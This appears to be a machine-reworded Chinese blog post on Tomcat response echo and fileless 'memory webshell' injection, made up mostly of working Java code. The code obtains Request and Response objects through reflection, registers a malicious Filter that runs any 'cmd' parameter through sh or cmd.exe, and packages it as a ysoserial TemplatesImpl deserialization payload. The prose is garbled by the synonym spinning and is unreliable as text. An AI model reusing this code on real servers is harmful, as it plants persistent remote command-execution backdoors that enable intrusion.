0x00序言#

依据我自己的了解,只需能获得Request和Response目标,就可以结构echo,这也是许多方法中的一种。也是现在非常盛行的一种方法。比如,全局性储存在tomcat中的Request和Response目标在被获得后能够在Tomcat器皿下开展回显。殊不知,在系统漏洞的一些层面,大家将从系统漏洞的部位找寻储存要求和回应目标的部位。

0x01 Tomcat通用性回音#

依照Litch1高手的构思,寻找要求,回应目标的全局性储存部位。根据全局性储存的新理念|一种Tomcat通用性回显方式的科学研究。

依照文中的构思,当Tomcat运作时,它会在这个部位启用dorun方式。

数据回显是什么意思-系统自动返显方法-第1张图片从图上能够看得出,启用栈将进到建立Http11Processor目标的流程,Http11Processor承继了AbstractProcessor类。在抽象性CPU类中有两个目标,要求和回应。而且由final改动,取值后不可以变更。

数据回显是什么意思-系统自动返显方法-第2张图片这时,大家只必须获得这一Http11Processor目标来获得要求和回应。再次追踪,查询Http11Processor目标的储存部位。

数据回显是什么意思-系统自动返显方法-第3张图片启用this.register传送以前建立的Http11Processor目标。随后启用processor.getrequest()。getrequestprocessor()获得要求信息内容。

数据回显是什么意思-系统自动返显方法-第4张图片获得RequestInfo,这儿是rp。Rp的setGlobalProcessor传送全局性,setGlobalProcessor方法启用global.addRequestProcessor来加上rp。

数据回显是什么意思-系统自动返显方法-第5张图片事后表明,CPU是一个二维数组目录,储存RequestInfo种类的数据信息。

因而,大家必须获得抽象性协议书$ connectionhandler类->获得局部变量-> request info-> request –> response。

数据回显是什么意思-系统自动返显方法-第6张图片未来,您必须找寻储存或承继抽象性协议书类的派生类。

大家在这儿找寻的是射频连接器成员函数中的protocolHandler特性的值,Http11AprProtocol类完成了这一插口。

数据回显是什么意思-系统自动返显方法-第7张图片因而,获得要求的解决要求是。

射频连接器—>抽象性协议书$ connectionhandler—>全局性—>要求信息内容—>要求—>回应

而射频连接器将在Tomcat运行期内交付使用。

数据回显是什么意思-系统自动返显方法-第8张图片现在完成的操作过程是。

服务规范—>射频连接器—>抽象性协议书$ connectionhandler—>要求组信息内容(全局性)–>要求信息内容—->要求—–>回应

这时候,怎样获得StandardService就成为一个至关重要的问题。

文中得出的方式是以thread . currentthread . getcontext class loader()中获得webappClassLoaderBase,随后在前后文中获得StandardService。

最后一个通话链是

WebappClassLoaderBase —>

application context(GetReSources()。getContext()) —>服务规范—>射频连接器—>抽象性协议书$ connectionhandler—>要求组信息内容(全局性)—>要求信息内容—->要求—–>回应

package com;import org.apache.catalina.Context;import org.apache.catalina.Service;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.coyote.Response;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Modifier;import java.util.ArrayList;@WebServlet("/demoServlet")public class demoServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); try { Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); context.setAccessible(true); ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext); Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); service.setAccessible(true); StandardService standardService = (StandardService)service.get(ApplicationContext); Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors"); connectors.setAccessible(true); Connector[] connector = (Connector[])connectors.get(standardService); Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler"); protocolHandler.setAccessible(true);// AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]); Class[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses(); for (Class aClass : AbstractProtocol_list) { if (aClass.getName().length()==52){ java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); getHandlerMethod.setAccessible(true); Field globalField = aClass.getDeclaredField("global"); globalField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null)); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors.setAccessible(true); java.util.List RequestInfo_list = (java.util.List) processors.get(requestGroupInfo); Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); req.setAccessible(true); for (RequestInfo requestInfo : RequestInfo_list) { org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo); org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1); org.apache.catalina.connector.Response response2 = request2.getResponse(); response2.getWriter().write("111"); } } } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); }}数据回显是什么意思-系统自动返显方法-第9张图片在这样的情形下,得到的要求和回应用以輸出結果。再度改动编码。

package com;import org.apache.catalina.Context;import org.apache.catalina.Service;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.coyote.Response;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Modifier;import java.util.ArrayList;@WebServlet("/demoServlet")public class demoServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); try { Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); context.setAccessible(true); ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext); Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); service.setAccessible(true); StandardService standardService = (StandardService)service.get(ApplicationContext); Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors"); connectors.setAccessible(true); Connector[] connector = (Connector[])connectors.get(standardService); Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler"); protocolHandler.setAccessible(true);// AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]); Class[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses(); for (Class aClass : AbstractProtocol_list) { if (aClass.getName().length()==52){ java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); getHandlerMethod.setAccessible(true); Field globalField = aClass.getDeclaredField("global"); globalField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null)); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors.setAccessible(true); java.util.List RequestInfo_list = (java.util.List) processors.get(requestGroupInfo); Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); req.setAccessible(true); for (RequestInfo requestInfo : RequestInfo_list) { org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo); org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1); org.apache.catalina.connector.Response response2 = request2.getResponse(); response2.getWriter().write("111"); InputStream whoami = Runtime.getRuntime().exec("whoami").getInputStream();// BufferedInputStream bufferedInputStream = new BufferedInputStream(whoami); BufferedInputStream bis = new BufferedInputStream(whoami); int b ; while ((b = bis.read())!=-1){ response2.getWriter().write(b); } } } } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); }}数据回显是什么意思-系统自动返显方法-第10张图片应用提升的要求和回应輸出指令实行結果。

坑纪录#

逐渐想立即获得内部类发觉构思堵塞,之后选用getDeclaredClasses方式获得某种中全部內部的内部类解析xml,分辨类名传送精准定位到此类。获得global解析xml的过程中产生了巨坑,立即反射面去获得。可是未意识到建立是一个class目标,反射面应用get方式务必传送案例。获得到Request必须启用request.getNote(1);变换为org.apache.catalina.connector.Request的目标。fanal装饰自变量,需要改动,立即获得出错。根据启用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获得 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 目标

文章内容连接

0x02 Tomcat半通用性回音#

文中根据Tomcat中的半通用性回音方式,对其完成了调节。

依据前边的念头,只需得到一个案例,就可以在要求和回应的储存部位查询局部变量。

依照构思,在org . Apache . catalina . core . applicationfilterbin寻找满足条件的自变量..

数据回显是什么意思-系统自动返显方法-第11张图片搜索下边的分派部位,发觉要求和回应做为案例储存在该部位。可是初始值是False。

数据回显是什么意思-系统自动返显方法-第12张图片念头如下所示:

1.体现和改动applicationdispatcher。wrap _ same _ object,便于编码逻辑性进到if标准。

2.复位lastServicedRequest和lastServicedResponse,默认设置为空。

3.从lastServicedResponse获得当今要求回应,并回显內容。

我尝试自身修建它。

package com;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Modifier;@WebServlet("/testServlet")public class testServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) { try { Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest"); Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse"); lastServicedRequest.setAccessible(true); lastServicedResponse.setAccessible(true); wrap_same_object.setAccessible(true); //改动final Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); boolean wrap_same_object1 = wrap_same_object.getBoolean(null); ThreadLocal requestThreadLocal = (ThreadLocal)lastServicedRequest.get(null); ThreadLocal responseThreadLocal = (ThreadLocal)lastServicedResponse.get(null); wrap_same_object.setBoolean(null,true); lastServicedRequest.set(null,new ThreadLocal()); lastServicedResponse.set(null,new ThreadLocal()); ServletResponse servletResponse = responseThreadLocal.get(); servletResponse.getWriter().write("111"); } catch (Exception e) { e.printStackTrace(); } } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); }}

一样能够集成化到yso中,反序列化指令的实行結果取决于servletResponse。

数据回显是什么意思-系统自动返显方法-第13张图片限定#

运用shiro反序列化系统漏洞未取得成功。发觉要求和回应的设计都是在系统漏洞开启点以后,因而在开启系统漏洞和实行一切java编码时,大家都没法获得要想的回应。缘故是rememberMe函数是采用自身的过滤装置完成的。

0x03运行内存马构造#

在以前的根据Tomcat的运行内存马中,只应用Servlet动态性加上Filter来完成运行内存马。实际上,依然必须应用反序列化点来直接进入运行内存马。

使我们结构一个完全的。

进到ApplicationContext,启用addFilter方法,立即加上故意Filter,发觉失效。

ApplicationContext.addFilter(filterName,new ShellIntInject());数据回显是什么意思-系统自动返显方法-第14张图片假如分辨中断点且标准为真,则立即抛出异常。这时,能够根据反射面开展改动。

数据回显是什么意思-系统自动返显方法-第15张图片field state = class . FOrname(" org . Apache . catalina . util . lifecyclebase ")。getDeclaredField(" state ");state . setaccessable(true);state.set(standardContext,org . Apache . catalina . life cycleestate . STARTING _ PREP);改动后,再度查看addFilter。this.context.findFilterDef仅仅在StandardContext中找寻FilterDef,因此大家必须将它加上到filterConfigs,filterDefs和filterMaps中。

在加上过滤装置以前,它被配置为生命期情况。根据反射面逐渐。加上后,它将修复到生命期情况。STARTE,必须修复,不然服务项目很有可能不能用。

数据回显是什么意思-系统自动返显方法-第16张图片//加上阻拦途径,根据将储存载入filterMap registration . addmappingforurlpaths(Java . util . enumset . of(javax . servlet . dispatcher type . request),false,newstring[]{ "/* })来完成;稍候,大家将见到StandardContext中的filterStart方式将解析xml全部的filterDefs并创建对象ApplicationFilterConfig,随后将其加上到filterConfigs中。

this.filterConfigs.clear(); Iterator i$ = this.filterDefs.entrySet().iterator(); while(i$.hasNext()) { Entry entry = (Entry)i$.next(); String name = (String)entry.getKey(); if (this.getLogger().isDebugEnabled()) { this.getLogger().debug(" Starting filter '" name "'"); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue()); this.filterConfigs.put(name, filterConfig); } catch (Throwable var8) { Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8); ExceptionUtils.handleThrowable(t); this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t); ok = false; } } return ok; } }

我们在启用addfilter方法的情况下早已加上了相对的filterDef,因此大家只必须启用这一办法来加上filterConfig。

//启用filterStart方式将filterconfig开展加上 Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart"); filterStart.setAccessible(true); filterStart.invoke(standardContext,null);

最终,必须调节过滤装置部位。

数据回显是什么意思-系统自动返显方法-第17张图片数据回显是什么意思-系统自动返显方法-第18张图片

在调节半途,一部分编码抛出异常并沒有立即实行state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);会造成tomcat立即503。没法开展一切正常浏览,需重新启动。调节历程中,一部分编码抛出异常,沒有立即实行state.set (standardcontext,org . Apache . catalina . life cycle estate . started);会造成tomcat立即503。没法一切正常浏览,必须重新启动。

详细编码#

package com;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Modifier;@WebServlet("/testServlet")public class testServlet extends HttpServlet { private final String cmdParamName = "cmd"; private final static String filterUrlPattern = "/*"; private final static String filterName = "cmdFilter"; protected void doPost(HttpServletRequest request, HttpServletResponse response) { try { Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest"); Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse"); lastServicedRequest.setAccessible(true); lastServicedResponse.setAccessible(true); wrap_same_object.setAccessible(true); //改动final Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); boolean wrap_same_object1 = wrap_same_object.getBoolean(null); ThreadLocal requestThreadLocal = (ThreadLocal)lastServicedRequest.get(null); ThreadLocal responseThreadLocal = (ThreadLocal)lastServicedResponse.get(null); wrap_same_object.setBoolean(null,true); lastServicedRequest.set(null,new ThreadLocal()); lastServicedResponse.set(null,new ThreadLocal()); ServletResponse servletResponse = responseThreadLocal.get(); ServletRequest servletRequest = requestThreadLocal.get(); ServletContext servletContext = servletRequest.getServletContext(); //这儿具体获得到的是ApplicationContextFacade if (servletContext!=null) { //撰写故意Filter class ShellIntInject implements javax.servlet.Filter{ @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("s"); String cmd = servletRequest.getParameter(cmdParamName); if(cmd!=null) { String[] cmds = null; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd.exe", "/c", cmd}; } else { cmds = new String[]{"sh", "-c", cmd}; } java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : "; java.io.Writer writer = servletResponse.getWriter(); writer.write(output); writer.flush(); writer.close(); } filterChain.doFilter(request, response); } @Override public void destroy() { } } //获得ApplicationContext Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext); //获得standardContext Field context1 = ApplicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); StandardContext standardContext = (StandardContext) context1.get(ApplicationContext); //获得LifecycleBase的state改动为org.apache.catalina.LifecycleState.STARTING_PREP Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state"); state.setAccessible(true); state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); //申请注册filterName FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject()); //加上阻拦途径,完成是将储存载入到filterMap中 registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"}); //启用filterStart方式将filterconfig开展加上 Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart"); filterStart.setAccessible(true); filterStart.invoke(standardContext,null); //挪动filter为部位到前边 FilterMap[] filterMaps = standardContext.findFilterMaps(); for (int i = 0; i < filterMaps.length; i ) { if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) { org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i]; filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMap; break; } } servletResponse.getWriter().write("Success"); state.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } } catch (Exception e) { e.printStackTrace(); } } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); }}

可是这都还没进行,虽然大家根据程序执行得到了要求和回应,随后搭建了运行内存马。殊不知,依然必须改动编码并将其集成化到yso中以开展反序列化进攻。

0x04变换yso#

剪裁前边的编码并承继抽象性微信小程序,随后应用TemplatesImpl类动态性载入它。

package ysoserial.exploit;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Modifier;public class TomcatShellIntInject extends AbstractTranslet { private final static String cmdParamName = "cmd"; private final static String filterUrlPattern = "/*"; private final static String filterName = "cmdFilter"; static { try { Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest"); Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse"); lastServicedRequest.setAccessible(true); lastServicedResponse.setAccessible(true); wrap_same_object.setAccessible(true); //改动final Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); boolean wrap_same_object1 = wrap_same_object.getBoolean(null); ThreadLocal requestThreadLocal = (ThreadLocal) lastServicedRequest.get(null); ThreadLocal responseThreadLocal = (ThreadLocal) lastServicedResponse.get(null); wrap_same_object.setBoolean(null, true); lastServicedRequest.set(null, new ThreadLocal()); lastServicedResponse.set(null, new ThreadLocal()); ServletResponse servletResponse = responseThreadLocal.get(); ServletRequest servletRequest = requestThreadLocal.get(); ServletContext servletContext = servletRequest.getServletContext(); //这儿具体获得到的是ApplicationContextFacade if (servletContext != null) { //撰写故意Filter class ShellIntInject implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter(cmdParamName); if (cmd != null) { String[] cmds = null; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd.exe", "/c", cmd}; } else { cmds = new String[]{"sh", "-c", cmd}; } java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : "; java.io.Writer writer = servletResponse.getWriter(); writer.write(output); writer.flush(); writer.close(); } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } } //获得ApplicationContext Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext ApplicationContext = (ApplicationContext) context.get(servletContext); //获得standardContext Field context1 = ApplicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); StandardContext standardContext = (StandardContext) context1.get(ApplicationContext); //获得LifecycleBase的state改动为org.apache.catalina.LifecycleState.STARTING_PREP Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state"); state.setAccessible(true); state.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); //申请注册filterName FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject()); //加上阻拦途径,完成是将储存载入到filterMap中 registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern}); //启用filterStart方式将filterconfig开展加上 Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart"); filterStart.setAccessible(true); filterStart.invoke(standardContext, null); //挪动filter为部位到前边 FilterMap[] filterMaps = standardContext.findFilterMaps(); for (int i = 0; i < filterMaps.length; i ) { if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) { org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i]; filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMap; break; } } servletResponse.getWriter().write("Success"); state.set(standardContext, org.apache.catalina.LifecycleState.STARTED); } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }}

yso中的CreateTemplatesImpl略微改动。

public static Object createTemplatesImpl_shell ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static T createTemplatesImpl_shell ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); final byte[] classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);// final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }

在这儿检测cc2链,拷贝cc2链的编码。改动getObject方式。

final Object templates = Gadgets.createTemplatesImpl_shell(command);

github:https://github . com/nice0e 3/ys serial-master

0x05参照号

根据全局性储存的新理念| Tomcat通用性回显方式科学研究。

Tomcat中的半通用性回音方式。

根据Tomcat的运行内存Webshell无文档进攻技术性。

Java程序执行系统漏洞回音汇总。

Shiro 550系统漏洞学习培训(2):运行内存引入和回音。

0x06完毕#

归根结底,实际上分布式数据库回显便是获得Request和Response目标,随后依靠获得的Request和Response目标开展回显,而运行内存马则运用获得的2个目标获得Context,动态性加上Filter。文中沒有完成冰蝎那样的运行内存机壳,只完成了cmd的一个机壳。同样,只需将故意的Fliter换为冰蝎的机壳就可以。

标签 美腿

评论(0条)

龙8唯一官方网站 游客评论